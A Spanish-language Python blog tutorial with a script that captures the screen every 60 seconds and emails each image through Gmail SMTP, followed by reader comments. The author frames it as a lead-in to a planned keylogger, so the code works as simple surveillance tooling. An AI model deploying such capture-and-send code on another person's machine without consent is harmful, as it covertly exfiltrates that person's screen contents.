Screenshot y envio de correo con Python

Screenshot y envio de correo con Python
Screenshot y envío de correo con Python

La idea de esta entrada es mostrarles como hacer capturas de pantalla (screenshot) y luego enviarlas adjuntas por correo

Ya hace un tiempo publique como enviar un correo electrónico con Python, si no sabes como, puedes visitar la entrada y familiarizarte con el tema. Hoy aparte, aprenderemos a enviar imágenes adjuntas.

También les dejo en enlace de GitHub por si quieren clonarlo y hacerle sus propias modificaciones: https://github.com/DiegoCaraballo/ScreenShot-y-Envio-de-Correo-con-Python.git

Librerías que deberías tener instaladas para que funciones el script:

  • Autopy
  • Las demás librerias (os, time, smtplib) ya vienen con python

Las pruebas las realice en un sistema Linux (Ubuntu) y el servidor de correo Gmail. Algo que me paso y es muy importante para que funcione el scritp, fue que al ejecutar el scritp por primera vez me llego un correo de un inicio de sesión sospechoso, le tuve que dar "permitir acceso", de lo contrario no llegaban los correos con las capturas de pantalla.

En los comentarios del código se explica cada paso:

#!/usr/bin/python
# -*- coding: utf-8 -*-
# Sitio: https://www.pythondiario.com
# Autor: Diego Caraballo

# Captura de pantalla y envio de correo

import smtplib 
# importamos librerias  para construir el mensaje
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText 
#importamos librerias para adjuntar
from email.MIMEBase import MIMEBase 
from email import encoders 
import os
import autopy
import time


def capture():
 # capturamos la pantalla
 screen = autopy.bitmap.capture_screen() 
 screen.save("/home/diego/captura.png")
 
 
def mail():

 # definimos los correo de remitente y receptor
 ##se envia un mail a
 addr_to   = 'pythondiario@gmail.com'
 ##el mail sale desde el correo
 addr_from = 'pythondiario@gmail.com'

 # Define SMTP email server details
 smtp_server = 'smtp.gmail.com:587'
 smtp_user   = 'pythondiario@gmail.com'
 smtp_pass   = '***********'
  
 # Construimos el mail
 msg = MIMEMultipart() 
 msg['To'] = addr_to
 msg['From'] = addr_from
 msg['Subject'] = 'Prueba'
 #cuerpo del mensaje en HTML y si fuera solo text puede colocar en el 2da parametro 'plain'
 msg.attach(MIMEText('Envio de captura de pantalla','html'))

 #adjuntamos la captura de pantalla
 ##cargamos el archivo a adjuntar
 fp = open('/home/diego/captura.png','rb')
 adjunto = MIMEBase('multipart', 'encrypted')
 #lo insertamos en una variable
 adjunto.set_payload(fp.read()) 
 fp.close()  
 #lo encriptamos en base64 para enviarlo
 encoders.encode_base64(adjunto) 
 #agregamos una cabecera y le damos un nombre al archivo que adjuntamos puede ser el mismo u otro
 adjunto.add_header('Content-Disposition', 'attachment', filename='pruta.png')
 #adjuntamos al mensaje
 msg.attach(adjunto) 

 # inicializamos el stmp para hacer el envio
 server = smtplib.SMTP(smtp_server)
 server.starttls()
 #logeamos con los datos ya seteados en la parte superior
 server.login(smtp_user,smtp_pass)
 #el envio
 server.sendmail(addr_from, addr_to, msg.as_string())
 #apagamos conexion stmp
 server.quit()
 
 #esto lo puse de prueba para saber que llegaba hasta aca y salia el correo
 print "Se envió el correo"


def main():
 
 while True:
  # hacemos la captura
  capture()
  # Enviamos el correo
  mail()
  # Tiempo en segundos entre re-envios
  time.sleep(60)

main()

Si todo salio bien, ya deberían estar recibiendo correos con las capturas de pantalla del equipo donde se ejecutó el scritp.

En la próxima entrega me gustaría poder subir un Keylogger hecho en python donde además de capturar las teclas ingresadas por el usuario, se envien capturas de pantalla.

Toda sugerencia o comentario siempre es bienvenido.

Saludos, Diego.

  1. noxonsoftwares dice:

    Interesante muchas gracias.. Hoy por esta lectura aprendí algo nuevo. Gracias

    1. PythonDiario dice:

      Excelente. Gracias por visitar el blog!!!

  2. Anónimo dice:

    ¿Y usar Google Drive para almacenar las capturas en vez de usar las mismas credenciales de una cuenta Google Mail? Por ejemplo, ordenando por año/mes/día

    1. PythonDiario dice:

      Sería una muy buena opción. Investigo y lo publico. Saludos y gracias por visitar el blog.

  3. MAURI_RAMONE dice:

    Excelente pagina pythondiario! gracias por tus aportes

    1. PythonDiario dice:

      Gracias Mauri 😉

  4. javier dice:

    Este comentario ha sido eliminado por el autor.

  5. Unknown dice:

    no me ha funcionado en windows

    1. PythonDiario dice:

      Hola, si puedes describir el error quizá pueda ayudarte!!
      Saludos

  6. GeorgeLBS dice:

    hola amigo, mira tengo error al tratar de instalar el modulo de autopy, utilizo una raspberry pi 3 con raspbian

    1. PythonDiario dice:

      Hola Jose, como estas? gracias por visitar el blog!!!
      Puedes decirme cual es el error?
      Saludos

  7. Nikola Tesla dice:

    Hola a mi me gustaria saber como puedo capturar video de mi pantalla en hd con python 3

  8. Adalberto dice:

    Hola en el smtp_pass tengo que poner la contraseña de mi cuenta de correo?
    si es asi tengo que buscar la configuracion de smtp de mi servidor de correos?

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Subir
White Monkey